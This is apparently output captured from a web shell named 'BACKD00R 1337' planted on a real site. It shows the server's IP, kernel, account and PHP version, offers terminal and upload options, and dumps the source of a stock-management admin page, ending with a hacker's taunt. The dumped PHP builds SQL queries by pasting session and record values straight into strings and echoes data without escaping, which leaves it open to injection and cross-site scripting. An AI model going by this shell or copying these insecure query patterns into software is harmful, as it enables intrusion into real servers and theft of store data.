BACKD00R 1337
Server IP : 164.52.202.56  /  Your IP : 216.73.216.231
Web Server : Apache
System : Linux e2e-70-56.ssdcloudindia.net 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : rubyaromatics ( 1052)
PHP Version : 7.2.34
Directory (0755) :  /home/rubyaromatics/public_html/controller/pro/../

[  Home  ][  Terminal  ][  Upload File  ]

Current File : /home/rubyaromatics/public_html/controller/pro/../stock.php
<?php
require('function.php');
require('database.php');
$ob = new database();
login_check();
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta charset="utf-8" />
<title>CCBELTS</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta content="" name="description" />
<meta content="" name="author" />
<!-- BEGIN PLUGIN CSS -->
<link href="assets/plugins/bootstrap-select2/select2.css" rel="stylesheet" type="text/css" media="screen"/>
<link href="assets/plugins/jquery-slider/css/jquery.sidr.light.css" rel="stylesheet" type="text/css" media="screen"/>
<link href="assets/plugins/jquery-datatable/css/jquery.dataTables.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/boostrap-checkbox/css/bootstrap-checkbox.css" rel="stylesheet" type="text/css" media="screen"/>
<link href="assets/plugins/datatables-responsive/css/datatables.responsive.css" rel="stylesheet" type="text/css" media="screen"/>
<!-- END PLUGIN CSS -->
<!-- BEGIN CORE CSS FRAMEWORK -->
<link href="assets/plugins/boostrapv3/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/boostrapv3/css/bootstrap-theme.min.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/font-awesome/css/font-awesome.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/animate.min.css" rel="stylesheet" type="text/css"/>
<!-- END CORE CSS FRAMEWORK -->
<!-- BEGIN CSS TEMPLATE -->
<link href="assets/css/style.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/responsive.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/custom-icon-set.css" rel="stylesheet" type="text/css"/>
<!-- END CSS TEMPLATE -->
<link rel="stylesheet" type="text/css" href="http://webrupee.com/font">
</head>
<!-- END HEAD -->
<!-- BEGIN BODY -->
<body class="">
<!-- BEGIN HEADER -->
<?php top()?>
<!-- END HEADER -->
<!-- BEGIN CONTAINER -->
<div class="page-container row-fluid">
  <!-- BEGIN SIDEBAR -->
  <?php menu()?>
   <div class="footer-widget">		
		<div class="progress transparent progress-small no-radius no-margin">
			<div data-percentage="79%" class="progress-bar animate-progress-bar progress-bar-success " ></div>		
		</div>
		<div class="pull-right">
			<div class="details-status">
			<span data-animation-duration="560" data-value="86" class="animate-number"></span>%
		</div>	
		<a href="lockscreen.html"><i class="fa fa-power-off"></i></a></div>
   </div>  
  <!-- END SIDEBAR --> 
  <!-- BEGIN PAGE CONTAINER-->
  <div class="page-content">
    <!-- BEGIN SAMPLE PORTLET CONFIGURATION MODAL FORM-->
    <div id="portlet-config" class="modal hide">
      <div class="modal-header">
        <button data-dismiss="modal" class="close" type="button"></button>
        <h3>Widget Settings</h3>
      </div>
      <div class="modal-body"> Widget settings form goes here </div>
    </div>
    <div class="clearfix"></div>
    <div class="content">
      <ul class="breadcrumb">
        <li>
          <p>YOU ARE HERE</p>
        </li>
        <li><a href="dash.php" class="active">Dashboard</a> </li>
		       <li><a href="#" class="active">Stock Managment</a> </li>
		       <li><a href="#" class="active">View Stock </a> </li>    
      </ul>
      <div class="page-title"> <i class="icon-custom-left"></i>
        <h3>View - <span class="semi-bold"> Stock Managment</span></h3>
      </div>
      
      <div class="row-fluid">
        <div class="span12">
          <div class="grid simple ">
            <div class="grid-title">
              <h4>View <span class="semi-bold">Stock Managment</span></h4>
              <div class="tools"> <a href="javascript:;" class="collapse"></a> <a href="#grid-config" data-toggle="modal" class="config"></a> <a href="javascript:;" class="reload"></a> <a href="javascript:;" class="remove"></a> </div>
            </div>
            <div class="grid-body ">
              <table class="table table-striped" id="example2" >
                <thead>
                  <tr>
                    <th width="10%">Category</th>
                                  <th width="14%">Sub&nbsp;Category</th>
                                  <th width="16%">Products&nbsp;Name</th>
                                    <th width="11%">Products&nbsp;Code</th>
                                    <th width="18%">Images</th>
                                    <th width="13%">Color&nbsp;-&nbsp;Size&nbsp;-&nbsp;Quantity</th>
                                    <th width="7%">Price</th>
                                     <?php 
                if($_SESSION['logged_in'])
                {
                    ?> 
                                    <th width="8%">Edit</th>
                                    <?php }
									else{}?>
                  </tr>
                </thead>
                 <?php 
                if($_SESSION['logged_in'])
                {
                    ?> 
                <tbody>
                  <?php
							$obj = new database();
							$obj->query("SELECT * FROM product order by id asc");
							
							foreach($obj->rows() as $dish)
							{
								$cat_id=$dish['cat_id'];
								$sub=$dish['sub_cat_id'];
								$p_id=$dish['p_id'];
			 
								?>
                            <tr>
                             <td> <?php
							$obj = new database();
							$obj->query("SELECT * FROM category where id='$cat_id'");
							$a=0;
							foreach($obj->rows() as $dis)
							{
								$a++;
								?>
               <?php echo $dis['category']; ?><?php }?></td>
                                       
                                        <td> <?php
							$obj = new database();
							$obj->query("SELECT * FROM sub_cat where id='$sub'");
							$a=0;
							foreach($obj->rows() as $dis)
							{
								$a++;
								?>
               <?php echo $dis['sub_cat']; ?><?php }?>
                               </td>
                                         <td> <?php echo $dish['p_name']; ?></td>
                                           <td><?php echo $dish['p_id']; ?></td>
                                        <td> <?php
							$obj = new database();
							$obj->query("SELECT * FROM product_image where p_id='$p_id' order by id desc");
							$a=0;
							foreach($obj->rows() as $dish3)
							{
								$a++; 
							}
								?>
              <h2><img src="dr/thumb/<?php echo $dish3['p_image']; ?>" width="85" height="55"></h2></td>
                                       
                                       <td><?php 
                                        $pro = $dish['p_id'];
                                        $ob->query("SELECT * FROM product_size WHERE p_id='$pro'");
                                        foreach($ob->rows() as $catss)
                                        {
                                       
										echo "<span style='height:20px; width:20px; margin:50px; border:2px solid red;        background:$catss[p_color] ;'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>";					echo "<br>";echo "<br>";

										echo "&nbsp;&nbsp;&nbsp;&nbsp;Size:";
										echo $size = $catss['size'];			echo "<br>";echo "<br>";

										echo "&nbsp;&nbsp;&nbsp;&nbsp;Quantity:";
										echo $quantity = $catss['p_quan'];echo "&nbsp;&nbsp;&nbsp;";
										if($quantity<=5)
										{
												
										echo  "<span class='badge badge-important'>Low</span>";
										} 
										elseif($quantity>15) 
										{
									    echo  "<span class='badge badge-success'>High</span>";
										}
										else{
										echo  "<span class='badge badge-warning'>Mediam</span>";
										}
				                            
                                         }
                                         ?>
                                        </td>
                                        
                  <td>  <span class="badge badge-success"><i class="fa fa-rupee"></i><?php echo $catss['p_price']; ?></span> </td>
                 
 										 <?php ?> <td>
                      <a href="edit_product_size.php?id=<?php echo $dish['id'] ?>&p_id=<?php echo $dish['p_id'] ?>" class="fancybox fancybox.iframe">Update</a>
                    
                                     </td> <?php ?>
										</tr>
                                        <?php } ?>
                             </tbody>
                             <?php  }
                            else {
                                ?>
                            <tbody>
                 
 				         <?php
							$id=$_SESSION['logged_suser'];
                        
                            $obj = new database();
                            $obj->query("SELECT * FROM seller_reg where user='$id' ");
                            foreach($obj->rows() as $dish)
                            {
                                $sid=$dish['id'];
                            }

							  $obj = new database();
							  $obj->query("SELECT * FROM product where  seller_id='$id'");
							
							foreach($obj->rows() as $dish)
							{
								$cat_id=$dish['cat_id'];
								$sub=$dish['sub_cat_id'];
								$p_id=$dish['p_id'];
									
								?>
                                   <tr>
                             <td> <?php
							$obj = new database();
							$obj->query("SELECT * FROM category where id='$cat_id'");
							$a=0;
							foreach($obj->rows() as $dis)
							{
								$a++;
								?>
                             <?php echo $dis['category']; ?><?php }?></td>
                                       
                              <td> <?php
							$obj = new database();
							$obj->query("SELECT * FROM sub_cat where id='$sub'");
							$a=0;
							foreach($obj->rows() as $dis)
							{
								$a++;
								?>
                             <?php echo $dis['sub_cat']; ?><?php }?>
                               </td>
                                         <td> <?php echo $dish['p_name']; ?></td>
                                           <td><?php echo $dish['p_id']; ?></td>
                                        <td> <?php
							$obj = new database();
							$obj->query("SELECT * FROM product_image where p_id='$p_id'");
							$a=0;
							foreach($obj->rows() as $dish3)
							{
								$a++; 
							}
								?>
              <h2><img src="dr/thumb/<?php echo $dish3['p_image']; ?>" width="85" height="55"></h2></td>
                                       
                                       <td><?php 
                                        $pro = $dish['p_id'];
                                        $ob->query("SELECT * FROM product_size WHERE p_id='$pro'");
                                        foreach($ob->rows() as $catss)
                                        {
                                       
										echo "<span style='height:20px; width:20px; margin:50px; border:2px solid red;        background:$catss[p_color] ;'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>";										echo "<br>";echo "<br>";

										echo "&nbsp;&nbsp;&nbsp;&nbsp;Size:";
										echo $size = $catss['unit_id'];										echo "<br>";echo "<br>";

										echo "&nbsp;&nbsp;&nbsp;&nbsp;Quantity:";
										echo $quantity = $catss['p_quan'];echo "&nbsp;&nbsp;";
										if($quantity <= 5)
										{
												
										echo  "<span class='badge badge-important'>Low</span>";
										} 
										elseif($quantity >15) 
										{
								    	echo  "<span class='badge badge-success'>High</span>";
										}
										else{
										echo  "<span class='badge badge-warning'>Mediam</span>";
										}
                                        }
										
                                        ?>
                                        </td>
                                        
                                       <td>  <span class="badge badge-success"> <i class="fa fa-rupee"></i><?php echo $catss['p_price']; ?></span> </td>
 							 <td>
                        <a href="edit_product_size.php?id=<?php echo $dish['id'] ?>&p_id=<?php echo $dish['p_id'] ?>" class="btn btn-primary  btn-xs">Update</a>                           
                                   </td> 
										</tr>
                                        <?php } ?>
                    </tbody>
                  <?php } ?>
              </table>
            </div>
          </div>
        </div>
      </div>
    </div>
   </div>
 </div>
<!-- END PAGE -->
<!-- BEGIN CHAT --> 

<!-- END CHAT --> 
<!-- END CONTAINER -->
<!-- BEGIN CORE JS FRAMEWORK-->
<script src="assets/plugins/jquery-1.8.3.min.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-ui/jquery-ui-1.10.1.custom.min.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
<script src="assets/plugins/breakpoints.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-unveil/jquery.unveil.min.js" type="text/javascript"></script>
<!-- END CORE JS FRAMEWORK -->
<!-- BEGIN PAGE LEVEL JS -->
<script src="assets/plugins/jquery-block-ui/jqueryblockui.js" type="text/javascript"></script> 
<script src="assets/plugins/jquery-slider/jquery.sidr.min.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-numberAnimate/jquery.animateNumbers.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-slimscroll/jquery.slimscroll.min.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap-select2/select2.min.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-datatable/js/jquery.dataTables.min.js" type="text/javascript" ></script>
<script src="assets/plugins/jquery-datatable/extra/js/TableTools.min.js" type="text/javascript" ></script>
<script type="text/javascript" src="assets/plugins/datatables-responsive/js/datatables.responsive.js"></script>
<script type="text/javascript" src="assets/plugins/datatables-responsive/js/lodash.min.js"></script>
<!-- END PAGE LEVEL PLUGINS -->
<script src="assets/js/datatables.js" type="text/javascript"></script>
<!-- BEGIN CORE TEMPLATE JS -->
<script src="assets/js/core.js" type="text/javascript"></script>
<script src="assets/js/chat.js" type="text/javascript"></script> 
<script src="assets/js/demo.js" type="text/javascript"></script>
<!-- END CORE TEMPLATE JS -->
<script type="text/javascript" src="source/jquery.fancybox.js?v=2.1.5"></script>
       <link rel="stylesheet" type="text/css" href="source/jquery.fancybox.css?v=2.1.5" media="screen" />
       <script type="text/javascript">
               $(document).ready
               (function() {

                       $('.fancybox').fancybox();
               });
       </script>

<script>
//alert on delete
function confirm_alert(node) {
   return confirm("You are about to permanently delete a product. Click OK to continue or CANCEL to quit.");
}
</script>
<!-- END JAVASCRIPTS -->
</body>
</html>

security is just an illusion